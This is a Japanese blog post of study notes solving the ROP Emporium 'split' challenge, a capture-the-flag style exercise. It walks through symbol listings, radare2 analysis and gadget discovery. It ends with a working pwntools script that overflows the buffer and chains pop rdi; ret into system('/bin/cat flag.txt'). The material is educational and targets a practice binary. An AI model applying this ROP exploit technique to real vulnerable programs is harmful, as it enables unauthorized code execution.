a

よろしくのキワミ

ROPについて勉強する ~2~

ROPについて勉強する ~2~

前回の続きを解いていく

ropemporium.com

In this challenge the elements that allowed you to complete the ret2win challenge are still present, they've just been split apart. Find them and recombine them using a short ROP chain.

ret2winで使用した技術を今回も使用できるらしい。
とりあえず前回と同じように解いてみる

まずは動作確認と復習から

動作確認 & 復習

実行する

$ ./split
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> test

Exiting

前回はまずシンボリックリンクから怪しい関数を探した。
今回も探してみる

nm splitの結果

$ nm split
000000000060107a B __bss_start
00000000006010a8 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 t __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
000000000060107a D _edata
00000000006010b0 B _end
                 U fgets@@GLIBC_2.2.5
0000000000400894 T _fini
0000000000400720 t frame_dummy
0000000000600e10 t __frame_dummy_init_array_entry
0000000000400a80 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400908 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 t __init_array_end
0000000000600e10 t __init_array_start
00000000004008a0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000400890 T __libc_csu_fini
0000000000400820 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
00000000004006c0 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
00000000006010a0 B stderr@@GLIBC_2.2.5
0000000000601090 B stdin@@GLIBC_2.2.5
0000000000601080 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601080 D __TMC_END__
0000000000400807 t usefulFunction
0000000000601060 D usefulString

怪しい関数名が見当たらない・・・?
radare2で確認

[0x00400650]> afl
0x00400048    1 164          fcn.00400048
0x004005a0    3 26           sym._init
0x004005d0    1 6            sym.imp.puts
0x004005e0    1 6            sym.imp.system
0x004005f0    1 6            sym.imp.printf
0x00400600    1 6            sym.imp.memset
0x00400610    1 6            sym.imp.__libc_start_main
0x00400620    1 6            sym.imp.fgets
0x00400630    1 6            sym.imp.setvbuf
0x00400640    1 6            sub.__gmon_start_400640
0x00400650    1 41           entry0
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           sym.__do_global_dtors_aux
0x00400720    4 38   -> 35   entry.init0
0x00400746    1 111          sym.main
0x004007b5    1 82           sym.pwnme
0x00400807    1 17           sym.usefulFunction
0x00400820    4 101          sym.__libc_csu_init
0x00400890    1 2            sym.__libc_csu_fini
0x00400894    1 9            sym._fini

sym.pwnという関数が存在した。(ret2winにも存在していた)
中を見るとこうなっている

f:id:toDo:20190805175323p:plain

fgets関数を呼んでいる。

解いていく

サイトを読み進めてみると対象のpermissionを確認している

rabin2 -I splitを打つと

f:id:toDo:20190805180506p:plain

nx部分がtrueになっている。

nxは特定のメモリ領域(に置かれたデータ)が実行できるかどうかのビッドで、これが1(true)だとメモリ保護機能が働いており、その場所ではプログラムの実行ができない。
ROPはそれを回避するための技術なのでここがfalseなら普通にバッファオーバーフローすればよい

さらに

that useful string "/bin/cat flag.txt" is still present in this binary, as is a call to system().

と書いてある。
つまり今回もcatコマンドでflag.txtの中を確認しているらしいことがわかる

x64では以下の要素がわかればflagの中身が見れるそうだ

必要な要素
オーバーフローに必要なパディング
pop rdi; retの命令セット
flagを表示するコマンド
systemのアドレス

pop_rdiの命令セットとは何かというとsystemに引数を渡すために必要な要素だ。
今回はsystemに引数として任意のアドレスを渡さないといけないので、x64で関数を呼び出しするときは対応する引数のレジスタに値を格納すればよい

syscall arg0 arg1 arg2 arg3 arg4 arg5
%rax %rdi %rsi %rdx %r10 %r8 %r9

"arg0"は"%rdi"に対応しているのでrdiをpopする命令セットを見つけることで、 スタックの1番上の値をレジスタに入れることができる

これがpop rdi; retの命令セットが必要な理由である。
第2引数が必要な場合はpop rsi; retも探せばいいわけだ

必要な要素を探す

まずはsystemのアドレスを調べる。
radare2で任意の文字列で検索したい場合は

$ izz~文字列

と打てばよい

[0x00400650]> izz~system
010 0x00000420 0x00400420   6   7 (.dynstr) ascii system
062 0x0000199e 0x0000019e  19  20 (.strtab) ascii system@@GLIBC_2.2.5
[0x00400650]> izz~/bin
029 0x000008ff 0x004008ff   7   8 (.rodata) ascii /bin/ls
036 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt

このsystemはusefulFunctionという関数の中で動いている

f:id:toDo:20190810021318p:plain

その他の要素は以下のようになってる

padding pop rdi; retの命令セット flagを表示するコマンド systemのアドレス
"A"*40 0x00400883
(r2内で"/a pop rdi; ret")
0x00601060
("/bin/cat flag.txt")
0x00400810
("call sym.imp.system")

pwntools

必要な値がわかったので本当に想定通りの動きをするかを確認する

f:id:toDo:20190811031848p:plain

無事flagが入手出来ている。

前回使用できなかったpwntoolの使い方を覚えるためにしっかりスクリプトを書く

from pwn import *

padding = 'A' * 40
pop_rdi = p64(0x0400883)
first_arg = p64(0x00601060)
sys_call = p64(0x00400810)

payload = padding + pop_rdi + first_arg + sys_call

elf = ELF('split')

io = process(elf.path)
io.sendline(payload)

recv_data = io.recvuntil('}')
print(recv_data)

感想

'pop命令の追加→引数の指定→リターンアドレスを書き換え'ということをやった。

このようにROPによって処理を連結させることをROPチェーンを組むという(らしい)が、まだスタックへ積まれることで起こる命令の呼び出しなどの処理についてがスムーズに想像できないので学習が必要だと感じた

参考サイト

http://docs.pwntools.com/en/stable/
https://quentinmeffre.fr/pwn/2017/01/29/ret_to_libc.html
https://medium.com/@int0x33/day-3-rop-emporium-split-64bit-338b5edccf1a

プライバシーポリシー お問い合わせ